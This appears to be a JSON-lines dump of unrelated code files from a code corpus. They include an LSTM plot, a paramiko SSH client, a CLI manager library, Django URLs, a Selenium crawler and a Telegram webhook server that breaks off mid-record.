= model.predict(testX)\r\n#print(trainY)\r\n# invert predictions\r\ntrainPredict = scaler.inverse_transform(trainPredict)\r\ntrainY = scaler.inverse_transform(trainY)\r\ntestPredict = scaler.inverse_transform(testPredict)\r\ntestY = scaler.inverse_transform(testY)\r\n\r\ntrainScore = math.sqrt(mean_squared_error(trainY, trainPredict))\r\nprint('Train Score: %.2f RMSE' % (trainScore))\r\ntestScore = math.sqrt(mean_squared_error(testY, testPredict))\r\nprint('Test Score: %.2f RMSE' % (testScore))\r\n#print(testPredict.shape)\r\n# shift train predictions for plotting\r\ntrainPredictPlot = [[0 for col in range(5)] for row in range(252)]\r\n#print(numpy.array(trainPredictPlot).shape)\r\ntrainPredictPlot = numpy.array(trainPredictPlot)\r\ntrainPredictPlot[:, :] = 0\r\n#print(trainPredictPlot)\r\n#print(len(trainPredict)+look_back)\r\n#print(trainPredict.shape)\r\n#trainPredictPlot[look_back:len(trainPredict)+look_back, :] = trainPredict\r\ntrainPredictPlot[5:195] = trainPredict\r\ntestPredictPlot = [[0 for col in range(5)] for row in range(252)]\r\n#print(numpy.array(trainPredictPlot).shape)\r\ntestPredictPlot = numpy.array(testPredictPlot)\r\ntestPredictPlot[:, :] = 0\r\n#(testPredictPlot)\r\n#print(len(trainPredict)+look_back)\r\n#print(trainX.shape)\r\n#print(testPredictPlot.shape)\r\ntestPredictPlot[200:240, :] = testPredict\r\n# shift test predictions for plotting\r\n#testPredictPlot = numpy.empty_like(dataset)\r\n#testPredictPlot[:, :] = numpy.nan\r\n#testPredictPlot[len(trainPredict)+(look_back*2)+1:len(dataset)-1, :] = testPredict\r\n\r\n# plot baseline and predictions\r\nplt.plot(scaler.inverse_transform(dataset))\r\nt = 5\r\nX = []\r\nfor x in range(250):\r\n t += 1\r\n X.append(t)\r\nplt.plot(X[0:190],trainPredictPlot[5:195,0])\r\n#print(trainPredictPlot)\r\nplt.plot(X[200:240],testPredictPlot[200:240,0])\r\n#print(testPredictPlot)\r\nplt.show()\r\n\r\n","sub_path":"sst预测code/lstm/multi-easy-lstm.py","file_name":"multi-easy-lstm.py","file_ext":"py","file_size_in_byte":4422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"547757031","text":"\"\"\" This module is a paramiko interface to ssh to remote server.\n\"\"\"\nimport os\nimport sys\nimport time\n\nimport paramiko\n\n\nclass NodeOffline(Exception):\n pass\n\n\nclass SSHClient(object):\n \"\"\" This class is the instance of a ssh client using paramiko\n \"\"\"\n def __init__(self, ip, port, user, pwd, proxy=None):\n # proxy = '132.196.242.39'\n self.ip = ip\n self.port = int(port)\n self.user = user\n self.pwd = pwd\n self.proxy = proxy\n self.client = paramiko.SSHClient()\n self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self._connect()\n\n def __repr__(self):\n return 'Client: %s@%s' % (self.user, self.ip)\n\n def _connect(self):\n \"\"\" This function is used to ssh to the remote server.\n \"\"\"\n if self.proxy:\n proxy = self._create_proxy()\n self.client.connect(self.ip, self.port, self.user, self.pwd, timeout=5, sock=proxy)\n else:\n self.client.connect(self.ip, self.port, self.user, self.pwd, timeout=5)\n\n def _create_proxy(self):\n \"\"\" This function is used to compose the proxy command.\n \"\"\"\n proxy_command = 'ssh %s nc %s %s' % (self.proxy, str(self.ip), str(self.port))\n return paramiko.ProxyCommand(proxy_command)\n\n def run(self, command, env=None):\n \"\"\" This function is the export function to run a command\n on the connected remote server.\n \"\"\"\n channel = self.client.invoke_shell()\n channel.setblocking(0)\n\n time.sleep(3)\n if env:\n channel.recv(2048)\n channel.send('%s\\n' % env)\n time.sleep(3)\n\n out = channel.recv(2048)\n prompt = self._get_prompt(out)\n\n channel.send('%s\\n' % command)\n while True:\n time.sleep(3)\n out = self._recv_all(channel)\n if prompt in out or 'More' in out:\n return out\n\n def _get_prompt(self, out):\n \"\"\" This function is to get the prompt of remote server.\n \"\"\"\n lines = out.split('\\n')\n return lines[-1].strip()\n\n def _recv_all(self, channel):\n \"\"\" This function is used to receive all the output when\n sometimes the output of command is long.\n \"\"\"\n out = ''\n try:\n while True:\n out += channel.recv(2048)\n except:\n return out\n\n def create_sftp(self):\n return self.client.open_sftp()\n\n def close(self):\n self.client.close()\n","sub_path":"epc_oam_apps_160930/target/worker/util/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"309489221","text":"def process_user_query(query_string):\n #with open(r'systeminfocomponents.txt', 'r', encoding='utf-8') as input_file:\n #query_string = input_file.read()\n d = {}\n current_year = 2017\n blocks = query_string.split('\\n\\n')\n for block in blocks:\n device = ''\n driver = ''\n for line in block.splitlines():\n if line.startswith('Name\t'):\n device = line.split('\\t')[1]\n if line.startswith('Driver\t') and device != '':\n driver = line.split(' ')[-2]\n# year = int(driver.split('/')[-1] + driver.split('/')[-2])\n year = int(driver.split('/')[-1])\n if device != '' and driver != '':\n d[device]=year\n for device, driver in d.items():\n delta = current_year - driver\n if delta >= 1:\n d[device] = 'Upgrade Now!'\n elif delta <= 0:\n d[device] = 'Up-To-Date'\n return(d)\n\n#print(process_user_query(\"hello\"))\n\n\n#\n#\n#\n# print(lists)\n# for string in lists:\n# if string.startswith('Name\t')\n# print(string)\n# if string.startswith('Driver\t'):\n# driver_dates.append(string.split(' ')[-2])\n#\n# print(driver_dates)\n# for i in driver_dates:\n#\n# print(drivers)\n#\n# dict = {}\n# driver_dates = []\n#\n#\n# return result\n#\n#\n# for line in input_file:\n#\n#\n# string = 'Driver\tc:\\windows\\system32\\drivers\\i8042prt.sys (10.0.14393.0, 111.50 KB (114,176 bytes), 16/07/2016 12:41)'\n# date_1 = string.split(' ')\n# print(date_1)\n# date_2 = []\n# >>> x = \"fffagggahhh\"\n# >>> k = x.split('a')\n# >>> j = [k[0]] + ['a'+l for l in k[1:]]\n# >>> j\n# ['fff', 'aggg', 'ahhh']\n#\n#\n#\n#\n#\n#\n#\n#\n# if string.startswith('Driver\t') or string.startswith('Name\t'):\n# if 'Audio' in string:\n# # drivers.append(string)\n# print(string)\n# #if string.startswith('Name\t'):\n# # print(string)\n# # names.append(string.split('] '))\n#\n# # elif string.startswith('Name\tDriver\tPort Name\tServer Name'):\n# # continue\n# # elif string.startswith('Name\t'):\n# # names.append(string.split('\t'))\n# #for i in names:\n# # del i[0]\n# print(drivers)\n#\n#\n#\n# for\n# for i in names:\n# del i[0]\n#\n# print(f'{names}')\n#\n# f'{name}'\n# print(x)\n# if x.startswith('Name'):\n# names = f'{name}'\n# elif x.startswith('Driver'):\n# drivers = f'{drivers}'\n#\n# print(names)\n#\n#\n#\n# #rint(process_user_query(\"Alex Alex went to Mike dinner with Animesh\"))\n# #comment\n#\n# #with open(r'students.csv', 'r', encoding='utf-8') as input_file:\n# # for x in input_file:\n# # x = x.strip()\n# # print(x.split(';'))\n","sub_path":"backend/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"131124642","text":"import subprocess\nimport glob\nimport time\nimport os\n\ndef getIndoorTemp():\n total = 0\n subprocess.Popen('modprobe w1-gpio', shell=True)\n subprocess.Popen('modprobe w1-therm', shell=True)\n count = subprocess.Popen('cat /sys/bus/w1/devices/w1_bus_master1/w1_master_slave_count', shell=True, stdout=subprocess.PIPE)\n number_of_sensors = int(count.stdout.read())\n base_dir = '/sys/bus/w1/devices/'\n \n for i in range (0,number_of_sensors):\n device_folder = glob.glob(base_dir + '28*')[i]\n device_file = device_folder + '/w1_slave'\n f = open(device_file, 'r')\n lines = f.readlines()\n f.close \n while lines[0].strip()[-3:] != 'YES':\n time.sleep(0.2)\n f2 = open(device_file, 'r')\n lines = f.readlines()\n f2.close()\n equals_pos = lines[1].find('t=')\n if equals_pos != -1:\n temp_string = lines[1][equals_pos+2:]\n temp_c = float(temp_string) / 1000.0\n temp_f_i = temp_c * 9.0 / 5.0 + 32.0\n total += temp_f_i\n if number_of_sensors > 1:\n average = total / number_of_sensors\n return average\n else:\n return temp_f_i\n \n return read_temp()","sub_path":"getIndoorTemp.py","file_name":"getIndoorTemp.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"33480106","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import with_statement\nfrom __future__ import print_function\n\nimport sys\nimport inspect\n\nimport argparse\n\nfrom .commands import Group, Option, InvalidCommand, Command, Shell\nfrom .cli import prompt, prompt_pass, prompt_bool, prompt_choices\n\n__version__ = \"0.1.0\"\n\n__all__ = [\"Command\", \"Shell\", \"Manager\", \"Group\", \"Option\",\n \"prompt\", \"prompt_pass\", \"prompt_bool\", \"prompt_choices\"]\n\n\nclass Manager(object):\n \"\"\"\n Controller class for handling a set of commands.\n\n Typical usage::\n\n class Print(Command):\n\n def run(self):\n print \"hello\"\n\n manager = Manager()\n manager.add_command(\"print\", Print())\n\n if __name__ == \"__main__\":\n manager.run()\n\n On command line::\n\n python manage.py print\n > hello\n\n :param app: A variable containing context for the commands,\n or a callable that returns such a variable.\n \"\"\"\n\n @property\n def description(self):\n description = self._description or self.__doc__\n return description.strip()\n\n def __init__(self, context=None, usage=None, description=\"\", prog=None, exit_on_error=True, handle_exceptions=True):\n\n self._commands = dict()\n self._options = list()\n self._context = context\n self._prog = prog\n self._exit_on_error = exit_on_error\n self._handle_exceptions = handle_exceptions\n\n self._usage = usage\n self._description = description\n\n self.parent = None\n\n def add_option(self, *args, **kwargs):\n \"\"\"\n Adds an application-wide option. This is useful if you want to set\n variables applying to the application setup, rather than individual\n commands.\n\n For this to work, the manager must be initialized with a factory\n function rather than an instance. Otherwise any options you set will\n be ignored.\n\n The arguments are then passed to your function, e.g.::\n\n def create_context(config=None):\n app_context = {}\n if config:\n import simplejson\n app_context = simplejson.load(open(config))\n\n return app_context\n\n manager = Manager(create_ctx)\n manager.add_option(\"-c\", \"--config\", dest=\"config\", required=False)\n\n and are evoked like this::\n\n > python manage.py -c dev.cfg mycommand\n\n Any manager options passed in the command line will not be passed to\n the command.\n\n Arguments for this function are the same as for the Option class.\n\n The return value of the function is stored in the Manager and can\n be retrieved by calling manager.context().\n \"\"\"\n\n self._options.append(Option(*args, **kwargs))\n\n def create_context(self, **kwargs):\n if self.parent:\n # Sub-manager, defer to parent Manager\n return self.parent.create_context(**kwargs)\n\n if hasattr(self._context, '__call__'):\n return self._context(**kwargs)\n\n return self._context\n\n def context(self):\n return self._context\n\n def create_parser(self, prog=None, usage=None):\n \"\"\"\n Creates an ArgumentParser instance from options returned\n by get_options(), and a subparser for the given command.\n \"\"\"\n\n prog = prog or self._prog or sys.argv[0]\n\n parser = argparse.ArgumentParser(prog=prog, usage=usage, add_help=False)\n parser.add_argument('-h', '--help', action='store_true', default=False, help='show this help message and exit')\n for option in self.get_options():\n parser.add_argument(*option.args, **option.kwargs)\n\n parser.add_argument(\"__command\", nargs=argparse.OPTIONAL, default=None, help=argparse.SUPPRESS)\n parser.add_argument(\"__args\", nargs=argparse.REMAINDER, help=argparse.SUPPRESS)\n\n return parser\n\n def get_options(self):\n if self.parent:\n return self.parent._options\n\n return self._options\n\n def add_command(self, name, command):\n \"\"\"\n Adds command to registry.\n\n :param command: Command instance\n \"\"\"\n\n if isinstance(command, Manager):\n command.parent = self\n\n self._commands[name] = command\n\n def command(self, func):\n \"\"\"\n Decorator to add a command function to the registry.\n\n :param func: command function. Arguments depend on the\n options.\n \"\"\"\n\n args, varargs, keywords, defaults = inspect.getargspec(func)\n\n options = []\n\n # first arg is always \"app\" : ignore\n\n defaults = defaults or []\n kwargs = dict(zip(*[reversed(l) for l in (args, defaults)]))\n\n if sys.version_info[0] > 2:\n unicode_type = str\n else:\n unicode_type = unicode\n\n for arg in args:\n if arg in kwargs:\n\n default = kwargs[arg]\n\n if isinstance(default, bool):\n options.append(Option('-%s' % arg[0],\n '--%s' % arg,\n action=\"store_true\",\n dest=arg,\n required=False,\n default=default))\n else:\n options.append(Option('-%s' % arg[0],\n '--%s' % arg,\n dest=arg,\n type=unicode_type,\n required=False,\n default=default))\n\n else:\n options.append(Option(arg, type=unicode_type))\n\n command = Command()\n command.run = func\n command.__doc__ = func.__doc__\n command.option_list = options\n\n self.add_command(func.__name__, command)\n\n return func\n\n def option(self, *args, **kwargs):\n \"\"\"\n Decorator to add an option to a function. Automatically registers the\n function - do not use together with ``@command``. You can add as many\n ``@option`` calls as you like, for example::\n\n @option('-n', '--name', dest='name')\n @option('-u', '--url', dest='url')\n def hello(name, url):\n print \"hello\", name, url\n\n Takes the same arguments as the ``Option`` constructor.\n \"\"\"\n\n option = Option(*args, **kwargs)\n\n def decorate(func):\n name = func.__name__\n\n if name not in self._commands:\n\n command = Command()\n command.run = func\n command.__doc__ = func.__doc__\n command.option_list = []\n\n self.add_command(name, command)\n\n self._commands[name].option_list.append(option)\n return func\n return decorate\n\n def shell(self, func):\n \"\"\"\n Decorator that wraps function in shell command. This is equivalent to::\n\n def _make_context(app):\n return dict(app=app)\n\n manager.add_command(\"shell\", Shell(make_context=_make_context))\n\n The decorated function should take a single \"app\" argument, and return\n a dict.\n\n For more sophisticated usage use the Shell class.\n \"\"\"\n\n self.add_command('shell', Shell(make_context=func))\n\n return func\n\n def format_commands(self):\n \"\"\"\n Returns string consisting of all commands and their descriptions.\n \"\"\"\n\n rv = []\n \n if len(self._commands) > 0:\n pad = max(map(len, self._commands.keys())) + 2\n format = ' %%- %ds%%s' % pad\n\n rv.append(\"Available commands:\")\n for name, command in sorted(self._commands.items()):\n usage = name\n description = command.description or ''\n usage = format % (name, description)\n rv.append(usage)\n\n return \"\\n\".join(rv)\n\n def print_help(self, prog=None):\n \"\"\"\n Prints help\n \"\"\"\n\n parser = self.create_parser(prog=prog, usage=self._usage)\n print(parser.format_help())\n print(self.format_commands())\n\n def _get_command(self, name):\n try:\n return self._commands[name]\n except KeyError:\n raise InvalidCommand(\"Command %s not found\" % name)\n\n def handle(self, name, args=None, prog=None):\n\n args = list(args or [])\n\n command = self._get_command(name)\n\n if isinstance(command, Manager):\n # run sub-manager\n #print \"Running submanager\", name\n return command.run(prog=prog + \" \" + name, args=args)\n else:\n command_parser = command.create_parser(prog + \" \" + name)\n if getattr(command, 'capture_all_args', False):\n command_namespace, unparsed_args = \\\n command_parser.parse_known_args(args)\n positional_args = [unparsed_args]\n else:\n command_namespace = command_parser.parse_args(args)\n positional_args = []\n\n return command.run(*positional_args, **command_namespace.__dict__)\n\n def run(self, commands=None, default_command=None, prog=None, args=None):\n \"\"\"\n Prepares manager to receive command line input. Usually run\n inside \"if __name__ == \"__main__\"\" block in a Python script.\n\n :param commands: optional dict of commands. Appended to any commands\n added using add_command().\n\n :param default_command: name of default command to run if no\n arguments passed.\n\n :param args: list of arguments to parse (default: sys.argv[1:])\n \"\"\"\n\n if commands:\n self._commands.update(commands)\n\n #print \"run:\", prog, \"args:\", args\n prog = prog or self._prog or sys.argv[0]\n if args is None:\n args = sys.argv[1:]\n\n self._parser = self.create_parser(prog=prog, usage=self._usage)\n manager_namespace, remaining_args = self._parser.parse_known_args(args)\n\n manager_args = manager_namespace.__dict__.copy()\n del(manager_args[\"__command\"])\n del(manager_args[\"__args\"])\n del(manager_args[\"help\"])\n self._context = self.create_context(**manager_args)\n\n command = manager_namespace.__dict__[\"__command\"]\n\n # handle help\n if manager_namespace.help or command == \"help\":\n if command is not None and command != \"help\":\n cmd = self._get_command(command)\n parser = cmd.create_parser(prog + \" \" + command)\n parser.print_help()\n\n else:\n self.print_help(prog=prog)\n\n sys.exit(0)\n\n else:\n command = command or default_command\n try:\n if command is None:\n raise InvalidCommand(\"Missing command\")\n\n command_args = manager_namespace.__dict__[\"__args\"] + remaining_args\n result = self.handle(command, args=command_args, prog=prog)\n return result\n\n except InvalidCommand as e:\n if self._handle_exceptions:\n print(e)\n print()\n self.print_help(prog=prog)\n else:\n raise\n\n if self._exit_on_error:\n sys.exit(1)\n\n","sub_path":"simplecli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"625006418","text":"\"\"\"djangomusik URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.urls import include, path\nfrom core import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.album_search, name='home'),\n path('artists', views.artist_search, name='artists'),\n path('albums//', views.album_details, name='album-details'),\n path('artist/new', views.add_artist, name=\"add-artist\"),\n path('artist/edit', views.edit_artist, name=\"edit-artist\"),\n path('album/edit', views.edit_album, name=\"edit-album\")\n]\n\nif settings.DEBUG:\n import debug_toolbar\n urlpatterns = [\n path('__debug__/', include(debug_toolbar.urls)),\n\n # For django versions before 2.0:\n # url(r'^__debug__/', include(debug_toolbar.urls)),\n ] + urlpatterns\n","sub_path":"djangomusik/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"143355061","text":"import argparse\nimport os\nimport sys\n\nimport torch\n\nsys.path.append(\"./align/\")\nfrom align_utils import gen_tensor\n\nassert torch.cuda.is_available(), \"Expects at least one GPU\"\nDEVICE = torch.device(0)\nBATCH_SIZE = 16\nSEQ_LENGTH = 5\nOUT_DIR = os.path.join(\"align\", \"layernorm\", \"out\")\n\n\nclass T5LayerNorm(torch.nn.Module):\n \"\"\"See https://github.com/huggingface/transformers/blob/master/src/transformers/models/t5/modeling_t5.py\"\"\"\n\n def __init__(self, hidden_size, eps=1e-6):\n \"\"\"Construct a layernorm module in the T5 style (no bias and no\n subtraction of mean).\"\"\"\n super().__init__()\n self.weight = torch.nn.Parameter(torch.ones(hidden_size))\n self.variance_epsilon = eps\n\n def forward(self, hidden_states):\n variance = hidden_states.to(torch.float32).pow(2).mean(-1, keepdim=True)\n hidden_states = hidden_states * torch.rsqrt(variance + self.variance_epsilon)\n if self.weight.dtype in [torch.float16, torch.bfloat16]:\n hidden_states = hidden_states.to(self.weight.dtype)\n return self.weight * hidden_states\n\n\ndef run():\n # Initialize the T5 layer norm and load the weight from FlexFlow\n HIDDEN_SIZE = 512\n t5_layernorm = T5LayerNorm(HIDDEN_SIZE).to(DEVICE)\n t5_layernorm_weight = torch.load(os.path.join(OUT_DIR, \"ff_layernorm_weight.pt\"))\n assert t5_layernorm.weight.shape == t5_layernorm_weight.shape, (\n \"Shape mismatch: \"\n f\"FF={t5_layernorm_weight.shape} torch={t5_layernorm.weight.shape}\"\n )\n t5_layernorm.weight = torch.nn.Parameter(t5_layernorm_weight.to(DEVICE))\n\n inp: torch.Tensor = gen_tensor(\n (BATCH_SIZE, SEQ_LENGTH, HIDDEN_SIZE),\n dtype=\"float32\",\n ).to(DEVICE)\n label: torch.Tensor = gen_tensor(\n (BATCH_SIZE, SEQ_LENGTH, HIDDEN_SIZE),\n dtype=\"float32\",\n ).to(DEVICE)\n\n output = t5_layernorm(inp)\n torch.save(output.cpu(), os.path.join(OUT_DIR, \"torch_out.pt\"))\n\n t5_layernorm.zero_grad()\n output.retain_grad()\n loss_fn = torch.nn.MSELoss(reduction=\"mean\")\n loss = loss_fn(output, label)\n loss.backward()\n torch.save(\n t5_layernorm.weight.grad.cpu(), os.path.join(OUT_DIR, \"torch_weight_grad.pt\")\n )\n torch.save(output.grad.cpu(), os.path.join(OUT_DIR, \"torch_out_grad.pt\"))\n\n\nif __name__ == \"__main__\":\n run()\n","sub_path":"align/layernorm/align_t5_layernorm_torch.py","file_name":"align_t5_layernorm_torch.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"160435720","text":"import urllib\r\nfrom selenium import webdriver\r\nimport csv\r\nimport sys\r\nfrom bs4 import BeautifulSoup\r\nfrom core import SITE_URL\r\n\r\ndef visit_walk_site(search_string):\r\n ## visit the site and search string in search box , select different parameter as written is specefic config.py , get the search image url and scroll till the end of site get page content and further parse the contnet to get image_url \r\n driver = webdriver.Firefox() \r\n driver.maximize_window()\r\n driver.get(SITE_URL)\r\n driver.implicitly_wait(3)\r\n search_box = driver.find_element_by_name('q')\r\n search_box.send_keys('Funny Image')\r\n driver.find_element_by_name('btnG').click()\r\n get_inside_image_search_page(driver)\r\n\r\ndef get_inside_image_search_page(driver):\r\n image_page_redirect = driver.find_element_by_id('imagebox_bigimages')\r\n driver.find_element_by_xpath('//a[text()=\"Images for Funny\"]').click()\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n try:\r\n driver.find_element_by_id('smb').click()\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n except:\r\n pass\r\n page_source = driver.page_source\r\n soup = BeautifulSoup(page_source)\r\n all_image_soup = soup.findAll(\"div\",{\"class\":\"rg_di\"})\r\n import pdb ; pdb.set_trace()\r\n f = open('ouptut.html','wb')\r\n #f.write(page_source)\r\n #f.close()\r\n\r\nif __name__ == \"__main__\":\r\n search_string = sys.argv[1]\r\n visit_walk_site(search_string)\r\n \r\n","sub_path":"hungry_duck/crawl_google.py","file_name":"crawl_google.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"216597352","text":"# -*- coding: utf-8 -*-\nfrom pymongo import MongoClient\n__author__ = 'Brown Wong'\n\n\ndef get_collection(collec_name):\n \"\"\"\n :param collec_name: collection name, 即关系数据库中的表名\n :return: collection,即一张表\n \"\"\"\n client = MongoClient('localhost', 27017)\n db = client.alitianchi\n return db[collec_name]\n\n","sub_path":"model/about_db.py","file_name":"about_db.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"126988779","text":"#!/usr/bin/env python3\n\n\"\"\"Check correctness of assignment\"\"\"\n\nimport sys\nimport string\n\ndef main():\n \"\"\"Check correctness of assignment\"\"\"\n original = open(sys.argv[1])\n sent = open(sys.argv[2])\n noisy = open(sys.argv[3])\n result = open(sys.argv[4])\n\n indomain = True\n counter = 0\n byte = sent.read(1)\n byte_noisy = noisy.read(1)\n files_different = -1\n while byte:\n if byte not in string.ascii_uppercase + string.ascii_lowercase + string.digits + string.whitespace:\n indomain = False\n if byte != byte_noisy:\n files_different = counter\n counter += 1\n byte = sent.read(1)\n byte_noisy = noisy.read(1)\n\n if not indomain:\n print(\"Not in domain\")\n sys.exit(1)\n\n counter2 = 0\n byte = original.read(1)\n while byte:\n counter2 += 1\n byte = original.read(1)\n\n print(\"Increment \", end='')\n print(float(counter)/float(counter2), end='')\n\n result_line = result.readlines()\n result_line = result_line[0].strip()\n print(' ' + result_line)\n if files_different < 0:\n if result_line == 'OK':\n sys.exit(0)\n else:\n print('Detection error: sent file not modified')\n sys.exit(1)\n else:\n if result_line == 'KO':\n sys.exit(0)\n else:\n print('Detection error: sent file has been modified in byte ' + str(files_different))\n sys.exit(1)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"56478239","text":"class Solution:\n def minTimeToVisitAllPoints(self, points: List[List[int]]) -> int:\n def time(x, y):\n hori = abs(x[0] - y[0])\n verti = abs(x[1] - y[1])\n \n if verti == hori:\n return hori\n else:\n return max(verti, hori)\n \n steps = 0\n for i in range(1, len(points)):\n steps += time(points[i-1], points[i])\n return steps","sub_path":"No.1266_MinimumTimeVisitingAllPoints/No.1266_MinimumTimeVisitingAllPoints.py","file_name":"No.1266_MinimumTimeVisitingAllPoints.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"547407215","text":"#模板图案检测\nfrom Tool import *\n# from pre_process import *\nimport cv2\nimport collections\nimport numpy as np\n# 轮廓上的所有点\n# cnt_point = []\n# # 图形的顶点\n# vertex = []\n# # 存储A与B邻边的所有像素点\n# # near[0]中存储m个list,每个list中存储n个像素点\n# # m=邻接的边数,n=构成每条邻边的所有像素点\n# near = []\n# #存储木块的形状、颜色、质心信息\n# no_shape = {\n# '0': [],\n# '1': [],\n# '2': [],\n# '3': [],\n# '4': [],\n# '5': [],\n# '6': []\n# }\n# 图的数据结构,存储图形的邻边、顶点(Patch对象)\n# graph[str(i)][j].no 编号\n# graph[str(i)][j].own 图形A边及邻边的角度(a1,a2,theta)\n# graph[str(i)][j].near 相邻的图形B的边及邻边的角度(b1,b2,theta)\n# graph[str(i)][j].transfer A顶点a1相对B顶点b1需要移动的位置大小\ngraph = {\n '0': [],\n '1': [],\n '2': [],\n '3': [],\n '4': [],\n '5': [],\n '6': []\n}\n\n# #生成深蓝色画布\n# image,draw=generate_darkblue_canvas()\n\ndef main():\n data_mould = tangram_data()\n src = cv2.imread(\"image/mould/people01.jpg\")\n # cv2.imshow(\"src\",src)\n # cv2.waitKey(0)\n ld=Analysis()\n ld.analy_pattern(src,data_mould)\n # print(data_mould.near)\n # Near(data_mould)\n print(\"........\")\n print(data_mould.no_shape)\n\ndef Mould_work(path):\n data_mould = tangram_data()\n src = cv2.imread(path)\n # cv2.imshow(\"src\", src)\n # cv2.waitKey(0)\n ld = Analysis()\n ld.analy_pattern(src, data_mould)\n # print(data_mould.near)\n # Near(data_mould)\n return data_mould\n\nif __name__ == '__main__':\n main()\n","sub_path":"Mould.py","file_name":"Mould.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"544344731","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nimport logging\nimport ssl\nimport stoppable_thread\nimport threading\nimport time\nimport uuid\n\n\nclass WebHookHandler(BaseHTTPRequestHandler):\n logger = logging.getLogger(\"WebHookHandler\")\n\n def do_GET(self):\n return self.do_POST()\n\n def do_POST(self):\n try:\n if self.path == WebHookServer.Path:\n self.logger.info(\"Recieve post\")\n content_type = self.headers.get_content_type()\n length = int(self.headers[\"content-length\"])\n self.logger.info(\"Recieve content-type %s, %d bytes\", content_type, length)\n data = self.rfile.read(length)\n self.logger.debug(\"data : %s\", data)\n json_object = json.loads(data.decode(\"utf-8\"))\n self.logger.info(\"Json %s\", json_object)\n list_updates = [json_object]\n WebHookServer.Bot.add_updates(list_updates)\n self.logger.info(\"End process request\")\n self.ok()\n else:\n self.error_access()\n except:\n self.logger.exception(\"Handler error\", exc_info=True)\n self.error()\n\n def error_access(self):\n self.send_response(403)\n self.send_header('Content-type', 'text/plain')\n self.end_headers()\n self.wfile.write(bytes(\"Access denied\", \"utf-8\"))\n\n def error(self):\n self.send_response(500)\n self.send_header('Content-type', 'text/plain')\n self.end_headers()\n self.wfile.write(bytes(\"Server error\", \"utf-8\"))\n\n def ok(self):\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n self.wfile.write(bytes(\"{}\", \"utf-8\"))\n\n\nclass WebHookServer(stoppable_thread.StoppableThread):\n Bot = None\n Path = None\n\n def __init__(self, bot, public, private, webhook_url, port=8443):\n super(WebHookServer, self).__init__()\n self.name = \"Thread-WebHookServer\"\n self.logger = logging.getLogger(type(self).__name__)\n WebHookServer.Bot = bot\n self.__public_path = public\n self.__private_path = private\n self.__port = port\n self.__webhook_url = webhook_url\n self.key = None\n self.url = None\n self.httpd = None\n self.thread_webhook_setter = None\n\n def run(self):\n try:\n self.logger.info(\"Starting getting public ip\")\n self.key = str(uuid.uuid4())\n self.logger.warning(\"Key : '%s'\", self.key)\n WebHookServer.Path = \"/%s/\" % self.key\n self.url = \"https://%s:%d%s\" % (self.__webhook_url, self.__port, self.Path)\n self.logger.warning(\"Url : '%s'\", self.url)\n self.logger.info(\"Init server on port %d\", self.__port)\n server_address = ('', self.__port)\n self.httpd = HTTPServer(server_address, WebHookHandler)\n\n ssl_version = ssl.PROTOCOL_TLSv1\n\n # SSL\n self.httpd.socket = ssl.wrap_socket(self.httpd.socket,\n server_side=True,\n certfile=self.__public_path,\n keyfile=self.__private_path,\n ssl_version=ssl_version)\n\n self.thread_webhook_setter = WebHookSetter(self.Bot, self.url, self.__public_path)\n self.thread_webhook_setter.start()\n self.httpd.serve_forever()\n except:\n self.logger.exception(\"Server fail\", exc_info=True)\n self.Bot.setWebhook(\"\")\n\n def stop(self):\n super(WebHookServer, self).stop()\n self.httpd.shutdown()\n self.httpd.socket.close()\n\n def join(self, timeout=None):\n if self.thread_webhook_setter is not None:\n self.thread_webhook_setter.join()\n super(WebHookServer, self).join(timeout)\n\n\nclass WebHookSetter(threading.Thread):\n def __init__(self, bot, url, certificate):\n super(WebHookSetter, self).__init__()\n self.name = \"Thread-WebHootSetter\"\n self.logger = logging.getLogger(\"WebHootSetter\")\n self.__bot = bot\n self.__url = url\n self.__certificate = certificate\n self.logger.info(\"Cerificate : 